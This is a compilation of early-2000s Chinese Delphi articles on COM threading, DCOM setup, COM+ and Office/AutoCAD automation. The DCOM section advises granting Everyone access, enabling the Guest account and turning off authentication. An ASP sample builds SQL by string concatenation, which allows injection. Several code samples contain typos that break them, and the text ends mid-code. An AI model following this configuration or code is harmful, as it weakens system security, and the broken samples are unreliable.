Win32 定义了两类线程。用户界面线程和工作者线程。Win32中的每个进程都可以拥有一个或多个用户界面线程和/或多个工作者线程。用户界面线程有消息循环，接受发送到窗口的消息，因此也和一个或多个窗口有关联。工作者线程用于后台处理，不与任何窗口相关联。作为开发者，使用Win32线程时，要注意另外一个主要的不同点。用户界面线程总是拥有一个或多个窗口。当有消息传递给特定的窗口时，用户界面线程负责调用合适的方法。消息循环在同一个用户界面线程中执行，而不理会是哪一个线程发来的消息，所以Windows可以保证同步的正确执行。编程人员不需要为线程同步写附加的特殊代码。然而，如果你开发工作者线程的话，就必须自己处理线程同步，防止死锁或非同步的情况出现。

COM线程模型
在COM中，线程的含义有些微差异。总共有三类COM线程模型。即：Apartment，Free和Rental线程（为MTS引入）。与Win32最类似的是用户界面线程相当于Apartment线程模型，而工作者线程相当于Free线程模型。

Apartment 线程模型（单线程Apartment）
此类线程模型在Windows NT3.51和稍后的Windows 95中作为COM的第一个版本引入。Apartment线程模型由一个多线程进程组成，其中每一线程只包括一个COM对象。单线程Apartment（STA）——也表示每个线程只能被一个Apartment调用，每个Apartment都是单线程的。所有的调用都通过Win32消息机制实现。COM保证这些调用的同步。每个线程都有自己的Apartment或者执行关系，在任一时刻只能有一个线程访问这个Apartment。Apartment中的线程只接受来自同一Apartment中其它线程的调用。调用参数需经过Apartment之间的Marshall处理。COM负责在Windows消息机制中处理Apartment间的Marshall过程。

Free线程模型（多线程Apartment）
此类模型由Windows NT4.0和Windows 95 DCOM引入，允许多个线程访问单个COM对象。使用Free线程的COM对象必须保证线程同步并且实现线程敏感的消息句柄，保证线程安全。调用不能通过Win32消息机制实现，也不能由COM来同步线程，因为同一方法可能在同一时间被多个进程访问。使用Free线程的对象应该能随时处理来自其它线程的方法调用，以及处理来自多线程的同时调用。参数直接传递到任意线程，因为所有的Free线程在同一Apartment中存在。这也称之为多线程Apartment（MTA）。

Apartment和Free线程模型并存
一个进程可能同时拥有Apartment和Free线程模型。唯一的限制是只可同时拥有一个Free线程模型，但可以有多个单线程Apartment。Apartment之间的指针和数据传递需经过Marshall处理。调用STA中的对象方法将由Win32保证同步，调用MTA中的对象方法则完全不经过同步处理。

Thread Neutral Apartment模型
使用Thread Neutral Apartment（TNA）的组件将自己标记为Free或Both模型。这里组件的实例配合调用者线程而使用调用者线程的模型。COM类对象的实例能在每次被调用时使用不通的线程模型。当线程执行COM对象中的方法，且此方法创建一个新对象时，MTS将暂停当前线程，创建一个新线程来负责对创建对象的处理。和MTA一样，TNA允许多个线程进入一个Apartment。但是，每当一个线程进入Apartment时，将锁定进入的Apartment，仅当退出时才允许其它线程进入。此类线程模型被引进MTS和COM+的原因是保证上下文切换速度。
投稿人：bird　投稿日期：2001-5-24 9:39:00


配置DCOM客户端和服务器

在Windows95系统下配置DCOM客户端和服务器应用程序
grhunter

摘　要：如何配置DCOM服务器和客户端
关键字：DCOM 配置
类　别：COM & ActiveX

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

这篇文章是关于如何在Windows95系统下配置DCOM客户端和服务器应用程序的。Windows NT下的配置若有不同，将会特别指出。如果你用NT4，至少要安装Service Pack 3。文章将不涉及如何使用Delphi创建DCOM程序。关于如何运用MIDAS创建多层应用程序的信息，请查阅www.borland.com/midas/technical/。

服务器安装
服务器权限可配置为User-Level（用户级）或者Share-Level（共享级）。从控制面板运行"网络-存取控制"就可以察看或者改变配置。

用户级
如果使用有名称验证功能的NT服务器，则选择用户级存取，并指明提供用户和组验证的NT服务器。

共享级
要在没有NT 服务器的条件下使用DCOM，则需要选择共享级存取控制。
安装DCOM for Win95。在这个地址可以下载： http://www.microsoft.com/com/dcom95/download.htm。如果你原来使用用户级控制，需要进行以下步骤：
安装DCOMCNFG for Win95。下载地址同上。
运行DCOMCNFG，选择"默认安全属性"页，点击"编辑默认配置"按钮。在"允许存取"对话框中，将存取权限指配给任何有可能连接服务器应用程序的用户。通常而言，存取权限被指配给"全局"。
在NT系统中，需要指配给"Everyone（所有人）"。
选择应用程序，点击"属性"按钮。在Indentity页，选择"交互的用户"。也可以指定一个将被允许连接NT系统的用户。
确认你有SYSTEM账户。
设置NT机器的Guest账户为有效（在用户管理中）。高亮显示Guest账户，选择菜单项"User|Properties"。清除题为"Account Disabled"的选择框。
添加/改变以下的注册表项（在HKLM\Software\Microsoft\OLE下）：
EnableRemoteConnect = "Y"
LegacyAuthenticationLevel = 1 (DWORD)
注意：关键字LegacyAuthenticationLevel也可以在DCOMCNFG中改变。
把以下文件拷贝到\WINDOWS\SYSTEM：
DBCLIENT.DLL，STDVCLnn.DLL (如果是Delphi3则为STDVCL32.DLL，如果是Delphi4则用STDVCL40.DLL)。
同样把这些文件拷贝到\WINDOWS\SYSTEM32目录。
把服务器应用程序拷贝到本地硬盘（不是网络磁盘）。
如果服务器应用程序需要存取数据库，则需要进行以下步骤：
安装BDE4.0。
安装SQL Links。
安装数据库服务器（此机器做为数据库服务器）或数据库客户端（此机器作为中间件服务器）。
Delphi3版本需要把IDPROV32.DLL拷贝到\Program Files\Borland\Common Files\BDE。
创建别名。
拷贝服务器应用程序需要的各种DLL，OCX，运行时组件等等。
运行服务器应用程序一次以注册到系统。
如果使用DCOM95 1.0的话，进行以下这个步骤：
在"启动"文件夹中添加一个快捷方式，指向RPCSS.EXE。也可在注册表中的下列项增加个启动项：
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices。
RPCSS="rpcss.exe"
运行服务器应用程序，开始接受客户端请求。在此之前，最好重新启动，保证所有改动生效。
客户端安装：
安装DCOM for Win95。下载地址同上。
把DBCLIENT.DLL拷贝到\WINDOWS\SYSTEM目录和\WINDOWS\SYSTEM32目录。
如果使用共享级控制，则在注册表项HKLM\Software\Microsoft\OLE中增加一个DWORD值： LegacyAuthenticationLevel = 1。
安装客户端应用程序，包括所有需要的文件。
注一：客户端机器需要有共享级控制或者用户级控制权限。不需要配置共享文件。
注二：使用early binding时，需要在客户端机器上注册服务器接口。如果使用dispatch接 口（TremoteServer和TMIDASConnection均使用这种接口），则不需要做其它工作。
注三：运行客户端应用程序时，Delphi的VCL将会自动注册DBCLIENT和STDVCLnn。

----------------------------
Internet上的DCOM
本文描述如何配置在Internet上使用的DCOM（包括防火墙配置）。
在DCOMCNFG中为服务器和应用程序设置NONE的验证级别为默认值。
在注册表中作以下改变：
HKLM/Software/Microsoft/Rpc/Internet
PortsInternetAvailable="Y"
UseInternetPorts="Y"
Ports="3000-4000"
在防火墙中开放135以上端口。
禁止IP地址翻译。

注：
1） NT Service pack 4将提供DCOM的HTTP通道。
2） 查阅Mike Nelson关于在防火墙后使用Internet上的DCOM的文章。
投稿人：grhunter　投稿日期：2001-5-26 11:01:00


将Datasets的数据DCOM方式传递

procedure CreateVarArrayFromDataset(var varResultSet: OleVariant;

ADataset : TDataset);

var

m : Integer;

nRecords, nColumns, nCurRec : Integer;

begin

nRecords := -1;

nColumns := -1;

try

{ 生成数组... }

{ 大小为 0..m-1 , m 等于行数. }

nColumns := Max(0, ADataset.FieldCount-1);

{ 每一元素是大小 (0..n) 的数组，n 等于记录数 }

{ 第0个元素存贮显示字段名. }

nRecords := Max(0, ADataset.RecordCount);

varResultSet := VarArrayCreate([0, nColumns, 0, nRecords],

varVariant);

for m := 0 to nColumns do

varResultSet[m, 0] := ADataset.Fields[m].DisplayLabel;

ADataset.First;

nCurRec := 1; { nCurRec记录当前记录号. }

while not ADataset.Eof do begin

{ 赋字段值. }

for m := 0 to nColumns do

varResultSet[m, nCurRec] := ADataset.Fields[m].Value;

ADataset.Next;

Inc(nCurRec);

end;

except

on E: Exception do

raise Exception.Create('CreateVarArrayFromDataset() - ' +

IntToStr(nRecords) +

' rec,'+IntToStr(nColumns)

+'cols,'+E.Message);

end;

end;


剥除HTML标记的 COM 构件

问题提出/摘要:
明智的论坛仲裁者或管理员可能会拒绝访问者提交带HTML Tags(HTML标筌)的消息。否则可能会有不怀好意的黑客利用这个漏洞破坏站点或进行CSS-攻击（穿越站点的脚本攻击）。

回答:
这儿有一个简单的函数，它被包裹成一个COM方法，完成剥除FORM中输入中的HTML tags的工作。

function THtmlTagsProcessor.StripOffTags(const Html: WideString): WideString; safecall;
var
OpTag: Int64; // Open tag position tracker
ClTag: Int64; // Close tag position tracker
Content: WideString;

procedure GetTag; // Gets tag position
begin
OpTag := Pos('<', Content);
ClTag := Pos('>', Content);
end;

function RemoveTag: Boolean; // If Tag is found, it is removed
begin
if ClTag <> 0 then
begin
fTagCount := fTagCount + 1;
Delete(Content, OpTag, ClTag - OpTag + 1);
Result := True;
end
else
Result := False;
end;

begin
Content := Html;
fTagCount := 0; // Could be defined as Read-Only Property TotalTags

while Pos('<', Content) <> 0 do
begin
GetTag;
If ClTag < OpTag then
begin
Delete(Content, ClTag, 1);
GetTag;
If not RemoveTag then Break;
end;
If not RemoveTag then Break;
end;
Result := Content;
end;

===
下面我们可以对此方法进行测试，假设它被编译在MyLib库的THtmlTagsProcessor类中并在MTS（COM+）运行时环境中被注册。让我们打开一个ASP页并进行服务器端脚本编写：
<%
dim DataThatContainsTags, DataWithoutTags
set TagsBiter = Server.CreateObject("MyLib.HtmlTagsProcessor")
DataThatContainsTags = Request.Form("PossiblyDefacingInput")
DataWithoutTags = TagsBiter.StrippOffTags(DataThatContainsTags)
cn.Execute("sp_PutValidDataIntoDB '" & DataWithoutTags & "'")

' Assume that cn is a valid ADODB.Connection object
' and sp_PutValidDataIntoDB is a stored procedure that
' expects one Varchar parameter
%>


使用 IStream

有许多技巧文档讲述如何将任意一种数据转化成 variant 的数据类型以将它们传递给一个COM接口。

不管怎么样，许多VCL构件都有以流的方式工作的方法和属性。关键就是 TOLEStream 和 TStreamAdapter 的使用。

IStream 被定义在 ActiveX 单元，TStreamAdapter 被定义在 Classes 单元，TOLEStream 则被定义在 Axctrls 单元中。

下面的包裹类将为你提供你所需要的全部东西。（注意：不要将这些函数转化成属性，这样做可能会让你企图调用 IStream 方法，尽管它不是中读的，但是至少我这样做就遇到访问冲突的错误）

Uses Classes, ActiveX, Axctrls;

Type TInterfaceStream = Class ( TMemoryStream )

Public

Procedure LoadFromIStream(Source : IStream);

Function GetIStream : IStream;

end;

Procedure TInterfaceStream.LoadFromIStream(Source : IStream);

var

Adapt : TOLEStream;

Buff : Byte;

I : Integer;

begin

ADapt := TOLEStream.Create(Source);

Adapt.Position := 0;

Self.Clear;

Self.Position := 0;

For I := 0 to Adapt.Size do

begin

Adapt.Read(Buff, 1);

Self.Write(Buff, 1);

end;

Self.Position := 0;

end;

Function TInterfaceStream.GetIStream : IStream;

var

Adapt : TStreamAdapter;

tPos : Int64;

begin

Adapt := TStreamAdapter.Create(Self);

Adapt.Seek(0, 0, tPos);

Result := Adapt as IStream;

end;

现在我们可以很简单地使用 IStream. 假如，你有一个 COM 对象方法需要返回一个 IStream，

那你只需要简单地声明一个private的 TInterfaceStream 成员变量。( 这里我们估且将称它为 FStream ),

在 initialize 时初始化它, 然后照下面的做法实现自己的方法：

Function TSampleCOMObj.Mehtod1 : IStream

begin

// Here's where you load whatever actually goes into the stream

result := FStream.GetIStream;

end;

将 TInterfaceStream 作为局部变量可能有些棘手。因为可能存在应用程序使用它之前它的内存就已经被释放掉的隐患。因此将它声明成一个 private 成员会更安全.

应用程序中只需要做下面的事

Procedure Form1.Button1OnClick(Sender : TObject);

var

Server : ISampleCOMObj;

temp : IStream;

ResultStream : TInterfaceStream;

begin

Server := CreateCOMObject(Class_TSampleCOMObj) as ISampleComObj;

temp := Server.method1;

ResultStream := TinterfaceStream.Create;

ResultStream.Clear;

resultStream.Position := 0;

resultstream.LoadFromIStream(Temp);

// do whatever it is you want with the data in the stream;

end;


控制原位激活的COM程序的菜单

作者：Andreas Heidenreich
通常情况下我们可以将某个OLE程序放在OLEContainer控件中，当我们打开OLE程序时，它会打开它自己的菜单，但如果我们的窗体上已经有了菜单的时候，OLE程序的菜单会被融合进来，但OLE本身第一个主菜单不可见，这个主菜单会被原来程序的第一个主菜单所替代，如果我们的程序有第二个主菜单项，就依次往后排。

下面是一个例子：
在窗体上放一个OLEContainer ，设定下面属性： Align: alClient, AutoActivate: aaManual, AllowInPlace : TRUE, AllowActiveDoc: True
放一个菜单，并添加几个子菜单项，下面是窗口单元的接口定义：
type
TOLE_Testform = class(TForm)
OleContainer1: TOleContainer;
MainMenu1: TMainMenu;
File1: TMenuItem;
New1:
TMenuItem;
Open1: TMenuItem;
Save1: TMenuItem;
Exit1:
TMenuItem;
private
{
Private-Deklarationen }
public
{
Public-Deklarationen }
end;

然后添加下面的事件
procedure
TOLE_Testform.Open1Click(Sender: TObject);
var continue: boolean;
filename: string;
begin
continue := DocOpenDialog.Execute();
If continue = TRUE then
begin
filename :=
DocOpenDialog.Filename;
//      OleContainer1.DoVerb(ovShow);
OleContainer1.DestroyObject;
OleContainer1.CreateObjectFromFile(filename,FALSE);
OleContainer1.DoVerb(ovShow);
end;
end;

procedure
TOLE_Testform.New1Click(Sender: TObject);
begin
OleContainer1.DestroyObject;
OleContainer1.CreateObject('WORD.Document',FALSE);
OleContainer1.DoVerb(ovShow);
end;
下图是运行结果:


 在Delphi中使用Queued Components
队列组件（Queued Components）是一项基于微软消息队列服务（Microsoft Message Q
ueuing Services）的ＣＯＭ＋技术。它提供了一种简易的异步引用和执行组件的方法。
发送方和接收方都不心考虑对方现在是否可用和能否获得而独立运行。
作为一项ＣＯＭ技术。队列指的是用于存储消息以便将来检索的空间。队列提供了一种
非连接性的通讯机制（即发送方和接怍方之间并不是直接相连结，而是通过队列进行相
互通讯）。队列负责存储信息直到接收方准备好为止。由于发送方和接收方之间不是直
接通讯的，所以可以相互之间独立地运行，而不会影响到双方。
下面举例说明如何使用Delphi创建和使用队列组件。
首先，我们将创建一个服务器。接口中的所有方法必须仅使用IN参数，不能有返回值。
这是由于客户端和服务器之间并没有直接的连结。因为不能确切地知道请求什么时候会
被执行，所以客户端不能一直等待从服务器获得应答。
在Delphi中，首先打开file/new/other/activeX,创建一个ActiveX Library,然后，加入
一个automation对象。为你的服务器对象取一个名称，比如QdComponent,其他的选项都
使用默认值，单击OK.这时你将会看到Type Library Editor,添加一个方法，命名为Tas
k1,为这个方法添加一个参数，命名为TaskMessage,设定其类型为BSTR(即Delphi中的Wi
deString类型)。如果Type Library Options设置为show Pascal code,那么你的方法声
明代码应与以下代码类似：
procedure task1(TaskMessage:widestring) [dispid $00000001];safecall;
保存项目文件为MyQdServer,单元文件为QdServer.
具体代码如下：
unit QdServer;
{$WARN SYMBOL_PLATFORM OFF}
interface
uses comobj,ActiveX,MyQdServer_TLB,stdvcl,Dialogs;
type
TqdComponent=class(TautoObject,IQdComponent)
Protected
Procedure Task1(const TaskMessage:widestring);safecall;
End;
Implemention
Uses comServ;
Procedure TqdComponent.Task1(const TaskMessag:widestring);
Begin
Showmessage(TaskMessage);
End;
Initialization
TautoObjectFactory.Create(ComServer,TqdComponent,class_QdComponent
CiMultiInstance,tmApartment);
End.
安装服务器
在控制面板中打开组件服务工具（Component Services Tool），在文件树中找到”COM
+ Application”,然后右击，选择New/Application接着选择“Create an empty applc
ation”根据提示找到你的新程序，右击它，转到属性页，找到Queuing栏，选择复选框
中的两项１．Queued 2.Listen.Listen表示任何被压入队列的消息，当它被击活时，将
马上被处理。在你的新程序下右击“components”选择New/Component,选择“install
new component(s)”,根据提示，找到并安装你的DLL文件，然后展开文件树找到“inte
rface”,右击IqdComponent,打开属性页，在Queuing栏中选上”Queued”(如果看到出错
提示信息“MSMQ IS NOT RUNNING”)那么很可能你没有安装MSMQ，因为MSMQ不是默认的
WINDOWS 2000的安装选项。
创建客户端
创建一个新的Delphi应用程序，在uses子句中加入MyQdServer_tlb.pas单元文件，添加
一个按钮和一个文本框。
你需要在程序运行时创建你的对象，所以使用一个符号变量来标记组件的信息，这个参
数在FormShow事件处理函数中声明和使用。
具体代码如下：
unit unit1;
interface
uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
Dialogs,StdCtrls,Comobj,ActiveX,MyQdSever_TLB,
Type
Tform1=class(TForm)
Edit1;Tedit;
Button1:Tbutton;
Procedure Button1Click(sender:Tobject);
Procedure FormShow(sender:TObject);
Private
Qinterface:IqdComponent;
Public
{Public declarations}
end;
var
form1:Tform1;
implemention
{$R*.dfm}
Function NewCoGetObject(pazName:PwideChar;pBindOptions:PbindOpts;
Const iid:TIID;out ppv):Hresult;stdcall;external ‘ole32.dll’ name‘CoGetOj
ect’
Procedure Tform1.Button1Click(sender:TObject);
Begin
Qinterface.task1(edit1.text);
End;
Procedure Tform1.FormShow(sender:Tobject);
Var
Qmoniker:PwideChar;
Begin
Qmoniker:=’Queue:/new{服务器的GUID或Server.interfaceName}’;
Olecheck(NewCoGetObject(Qmoniker,nil,IqdComponent,Qinterface));
End;
End.
运行客户端程序，然后传送一条消息，由于此时你并没有启动服务器，所以这时并不能
显示出来这条消息，需要启动服务器，而最简单的方法就是打开控制面板中的组件服务
（Component Services），找到你的服务器，右击选择启动。
#这是我的第一份翻译作品，请不吝赐教。


使用 COM+ 参数化对象结构编程技术

作者： 陈一蛟

一、引言

COM+ 服務技術的一個核心理念就是系統本身提供完成許多面向企業應用開發者的通用基本模組（如線程、物件資源池管理、事務服務管理、事件服務管理等），讓系統設計人員把精力集中在企業應用本身的業務邏輯上。

COM+提供了許多新的服務和一致的管理運行環境，它還支援申明性編程模型(declarative programming model)，也就是說，開發人員可以按盡可能通用的方式開發元件程式，把一些細節留到配置時刻再確定。例如，在開發一個COM+元件，它支援事務處理特性，但是我們在開發元件的時候，並不確定它是否使用事務處理特性，而把是否支援事務處理特性留待配置時刻再作決定。有的應用可能會需要事務處理特性，而有的應用可能並不需要，我們可以通過COM+管理程式配置元件的屬性來決定元件是否支援事務處理特性。MTS安全模型實際上是一個典型的申明性編程技術，它把元件的安全角色資訊留到配置時刻再給出確切的定義，而非編程時刻。COM+繼承了MTS的安全模型。

利用COM+的服務和管理工具，開發一個COM+元件要比開發一個COM元件容易得多，因爲COM+元件實際上是建立在COM+系統服務基礎上的應用程式，我們可以避免底層繁瑣的細節處理，如多線程的並發處理。通過COM+系統服務，在獲得可靠性的同時，也使的元件和應用程式更趨於標準化，在更廣泛的範圍內體現元件或者應用的多態性。

COM+ 的推出终于有机的统一了 COM/DCOM/MTS 的编程模式，使得我们不需要区分我们编写的是什么类型的COM 对象，所编写的对象既是 COM 对象也是 COM+对象；在 COM+ 中物件環境和截取(intercept) 技術都被合併到標準的 COM代理/存根中，所以可以通過標準得 CoCreateInstance 方法來創建物件，並且通過CreateInstance方法創建的MTS 元件同樣可以在COM+ 正常運行和完全相容。

二、参数化 COM+ 对象结构

在COM+ 中引入了许多新的服务何功能，参数化对象结构就是其中一项功能。本功能是用来实现为COM+对象创建提供一个字串参数，组件对象通过IObjectConstruct接口来查询管理员配置的字串参数。参数化对象结构的一个典型用途就是可以应用到程序中作为 ADO 的连接字串参数。

IObjectConstruct 让的方法或对象通过参数来控制相关对象处理功能，我们必须使用接口对象来实现此接口，当管理员将组件对象的对象结构配置参数设置有效后，COM+ 将调用 IObjectConstruct.Construct 通过IObjectConstructString来获取参数化 COM+ 对象结构中的字串参数。

IObjectConstructString 接口用来存取建立者字符串。本对象是一个Automation COM 对象，但无须通过接口对象来实现他，COM+ 支持在调用 IObjectConstruct.Construct 时暴露此对象。

如何为元件输入对象结构字串。

1、在组件管理器中选取相应的组件，右键弹出快捷菜单，然后点击属性

2、在组件属性对话框，点击激活属性页。

3、使能对象结构，输入建立者字符串（例如一个 ADO 连接字串）。

三、程序实现

实现COMPlusServer

1、Import Type library->COM+ Services Type Library->Create Unit

2、建立一个新的 ActiveX Library Project

3、创建一个新的 MTS Data Module

4、到 Type Library 中选取 Project->Uses->点击右键选择 Show All Type Library->选择COM+

Services Type Library

5、选择 COM 的接口对象->Implements->点击右键选择 Insert Interface ->IObjectConstruct

6、在接口中定义一个新的的方法-> GetConString

7、到组件对象实现单元中实现以下代码：

private

{ Private declarations }

objSonStr: IObjectConstructString;

StrDemo: WideString;

function TXXXServer.Construct(const pCtorObj: IDispatch): HResult;

begin

pCtorObj.QueryInterface(IID_IObjectConstructString, objSonStr);

StrDemo := objSonStr.Get_ConstructString;

end;

procedure TXXXServer.GetConString;

begin

if trim(StrDemo) = '' then

ShowMessage('没有字串')

else

ShowMessage(StrDemo);

end;

客户端程序

客户端程序是最一般化的 Delphi 代码：

procedure TForm1.Button1Click(Sender: TObject);

begin

DCOMConnection1.AppServer.GetConString;

end;


把IStrings转化为TStrings

var

Iolala:Tstrings;

begin

Ioalala:=ToleStrings.Create(iYourIStringsInstance);

end;


IUnknown类型的局部变量由谁负责Release

  ≡贑++中，IUnknown是一个抽象类，它拥有三个方法：QueryInterface、AddRef和Release，而在Delphi中，这三个方法分别是QueryInterface、_AddRef和_Release，注意方法名前页的下划线。
    编制使用IUnknown类局部变量的程序时应注意，Delphi在一个模块结束之前将会自动调用_Release方法来释放所有的IUnknown局部变量，而这些代码对于程序员来说是不可见的。看下面的代码：

function TestProc: HRESULT;
var
lpDD :
IDirectDraw;
begin
Result := DirectDrawCreate(nil, lpDD,
nil);
if Result<>0 then raise Exception.Create('Failed
create!');
Result := lpDD.QueryInterface(IID_IDirectDraw2,
MyDirectDraw);

lpDD._Release; // 这一行代码是多余的，将导致出错
end;

    上面的一段函数建立一个IDirectDraw2类（MyDirectDraw是一个IDirectDraw2类型的全局变量），其中最后一行的lpDD._Release是错误的，在C++中需要这么做，但在Delphi里因为有一段不可见的代码自动完成对lpDD的Release工作，所以会引起一个异常。这段不可见代码是我反汇编后观察汇编源码才得知的。


类工厂的接口

IClassFactory2接口是IClassFactory接口得扩展，它除了包含CreateInstance和
LockServer成员函数，还提供了三个与许可证有关得成员函数：GetLicInof、
RequestLicKey和CreateInstanceLic。其接口定义如下：
typedef struct tagLICINFO
{
LONG cbLicInfo;
BOOL fRuntimeKeyAvail;
BOOL fLicVerified;
} LICINFO;

class IClassFactory2 : public IClassFactory
{
public:
virtual HRESULT GetLicInfo(LICINFO * pLicInfo) = 0;
virtual HRESULT RequestLicKey(DWORD dwReserved, BSTR * pBstrKey) = 0;
virtual HRESULT CreateInstanceLic(IUnknown * pUnkOuter, IUnknown * pUnkReserved, REFIID riid, BSTR bstrKey, (void **)ppvObj) = 0;
};
GetLicInfo成员函数返回一个LICINFO结构，此结构的fRuntimeKeyAvail值指明运
行时刻的许可证是否可用，fLicVerified指明类厂是否已经检查过许可证。如果
LICINFO::fRuntimeKeyAvail值为TRUE，那么RequestLicKey成员函数可以创建许
可证，并返回给包容器程序。CreateInstanceLic与IClassFactory::CreateInstance
类似，但包容器程序必须在bstrKey参数中指定一个许可证（可以预先调用RequestLicKey
函数获得）。
许可证用于ActiveX控件设计时刻或运行时刻的许可证检查。设计时刻的许可证检查
是由ActiveX控件得包容器程序完成，如Visual Basic、Visual InterDev等。这些
包容器调用IClassFactory2::CreateInstanceLic函数，并且把bstrKey参数设为
NULL，这就指示由ActiveX控件得类厂对象检查许可证，然后判断是否合法，合法的
话则创建控件，否则返回CLASS_E_NOTLICENSED。运行时刻，不同的包容器程序对ActiveX
控件的许可证检查方法有所不同，在这也就不一一详述了。


控制Autocad

下面这个例子启动Autocad打开一个文件同时放大到一个指定的位置，适用于Acad-14, Acad-2000
unit AcadTest2000;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ActiveX, ComObj, OleCtnrs;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
p1, p2 : OleVariant;
Acad, ActiveDoc, : OleVariant;
begin
//创建variant数组来保存窗口坐标
p1 := VarArrayCreate([0,2], VT_R8);
p2 := VarArrayCreate([0,2], VT_R8);
//设定数值
p1[0] := 14330.0; p1[1] := 400.0; p1[2] := 0; //point (14330,400,0)
p2[0] := 26400.0; p2[1] := 8500.0; p2[2] := 0; //point (26400,8500,0)
Acad := CreateOleObject('AutoCad.Application');
if not varisempty(Acad) then
Acad.visible := visible;
//打开文件
ActiveDoc := Acad.Documents.Open('E:\Home\Planview.dwg');
// 放大
Acad.ZoomExtents;
Acad.ZoomWindow(VarArrayRef(p1),VarArrayRef(p2));
end;

end.

对于Acad-14来说方法有不同。ZoomExtents和ZoomWindow方法应用于视图，同时打开文件的语法也有不同
unit AcadTest14;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ActiveX, ComObj, OleCtnrs;
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
p1, p2 : OleVariant;
Acad, ActiveDoc, ViewPort : OleVariant;
begin
p1 := VarArrayCreate([0,2], VT_R8);
p2 := VarArrayCreate([0,2], VT_R8);

p1[0] := 14330.0; p1[1] := 400.0; p1[2] := 0; //point (14330,400,0)
p2[0] := 26400.0; p2[1] := 8500.0; p2[2] := 0; //point (26400,8500,0)
Acad := CreateOleObject('AutoCad.Application.14');
if not varisempty(Acad) then
Acad.visible := visible;

//打开文件
ActiveDoc := Acad.ActiveDocument.Open('E:\Home\Planview.dwg');

//激活视图
ViewPort := ActiveDoc.ActiveViewPort;
//放大
ViewPort.ZoomExtents;
ViewPort.ZoomWindow(VarArrayRef(p1),VarArrayRef(p2));
end;

end.


调用Outlook发送邮件

// uses ComObj,Dialogs

function TForm1.SendMailWithAttachments(Email, Subject : string; Body : Widestring ; Filename : string): boolean;

var

outlook : variant;

item : variant;

begin

try

outlook := CreateOLEObject('outlook.application');

try

item := outlook.CreateItem(0);

item.Subject := Subject;

// You can use "Body := Memo1.text".

item.Body := Body;

// You can add more Attachments by adding the same line.

item.Attachments.Add(FileName,1,1,FileName);

item.To := email;

item.Send;

finally

// To make sure Outlook don't stay open.

outlook.quit;

end;

except

result := false;

exit;

end;

result := true;

end;

// Here is an example how the function works.

procedure TForm1.Button1Click(Sender: TObject);

var

Opendialog1 : TOpenDialog;

begin

// Create an OpenDialog to get the Attachment.

// Is the Dialogs unit in the uses line?

Opendialog1 := TOpendialog.Create(application);

try

if OpenDialog1.Execute then

begin

SendMailWithAttachments('Info@Cleys.com', 'Delphi3000 function','Have fun!',opendialog1.FileName);

end;

finally

Opendialog1.Destroy;

end;

end;

uses ComObj; {Delphi 5}

procedure TForm1.Button1Click(Sender: TObject);

const

// Outlook邮件类型常数

olMailItem = 0;

olAppointmentItem = 1;

olContactItem = 2;

olTaskItem = 3;

olJournalItem = 4;

olNoteItem = 5;

olPostItem = 6;

// Outlook附件类型常数

olByValue = 1;

olByReference = 4;

olEmbeddedItem = 5;

olOLE = 6;

var

myOlApp, myItem, myRecipient, myAttachments: OleVariant;

begin

// 生成邮件和附件

myOlApp := CreateOLEObject('Outlook.Application');

myItem := myOlApp.CreateItem(olMailItem);

myItem.Subject := 'This is the Subject';

myRecipient := myItem.Recipients.Add('robert@ocloud.com');

myItem.Body := #13;

myItem.Body := myItem.Body + #13;

myItem.Body := myItem.Body + 'Hello,' + #13;

myItem.Body := myItem.Body + 'This code created this message and '+ ' sent it and I didn''t even have' + #13;

myItem.Body := myItem.Body + 'to click the send button!!!' + #13;

myItem.Body := myItem.Body + #13;

myItem.Body := myItem.Body + 'If you have any more problems, let me know' + #13;

myItem.Body := myItem.Body + 'rename to blah.vbs and run like this:' + #13;

myItem.Body := myItem.Body + 'wscript c:\blah.vbs' + #13;

myItem.Body := myItem.Body + #13;

myItem.Body := myItem.Body + 'Eddie' + #13;

myItem.Body := myItem.Body + #13;

myItem.Body := myItem.Body + #13;

myItem.Body := myItem.Body + 'const'+ #13;

myItem.Body := myItem.Body + ' // 邮件类型常数'+ #13;

myItem.Body := myItem.Body + ' olMailItem = 0;'+ #13;

myItem.Body := myItem.Body + ' olAppointmentItem = 1;'+ #13;

myItem.Body := myItem.Body + ' olContactItem = 2;'+ #13;

myItem.Body := myItem.Body + ' olTaskItem = 3;'+ #13;

myItem.Body := myItem.Body + ' olJournalItem = 4;'+ #13;

myItem.Body := myItem.Body + ' olNoteItem = 5;'+ #13;

myItem.Body := myItem.Body + ' olPostItem = 6;'+ #13;

myItem.Body := myItem.Body + ' // 附件类型常数'+ #13;

myItem.Body := myItem.Body + ' olByValue = 1;'+ #13;

myItem.Body := myItem.Body + ' olByReference = 4;'+ #13;

myItem.Body := myItem.Body + ' olEmbeddedItem = 5;'+ #13;

myItem.Body := myItem.Body + ' olOLE = 6;'+ #13;

myItem.Body := myItem.Body + #13;

myItem.Body := myItem.Body + 'var'+ #13;

myItem.Body := myItem.Body + ' myOlApp, myItem, myRecipient, myAttachments:OleVariant;'+ #13;

myItem.Body := myItem.Body + 'begin'+ #13;

myItem.Body := myItem.Body + ' myOlApp := CreateObject(''Outlook.Application'')' + #13;

myItem.Body := myItem.Body + ' myItem := myOlApp.CreateItem(olMailItem)' + #13;

myItem.Body := myItem.Body + ' myItem.Subject := ''This is the Subject''' + #13;

myItem.Body := myItem.Body + ' myItem.Body := ''This is the body''' + #13;

myItem.Body := myItem.Body + ' myRecipient := myItem.Recipients.Add('robert@ocloud.com')' + #13;

myItem.Body := myItem.Body + ' myAttachments := myItem.Attachments' + #13;

myItem.Body := myItem.Body + ' // 开始粘贴附件...' + #13;

myItem.Body := myItem.Body + ' myAttachments.Add ''C:\blah.txt'', olByValue,1, ''Blah.txt Attachment''' + #13;

myItem.Body := myItem.Body + ' myItem.Send' + #13;

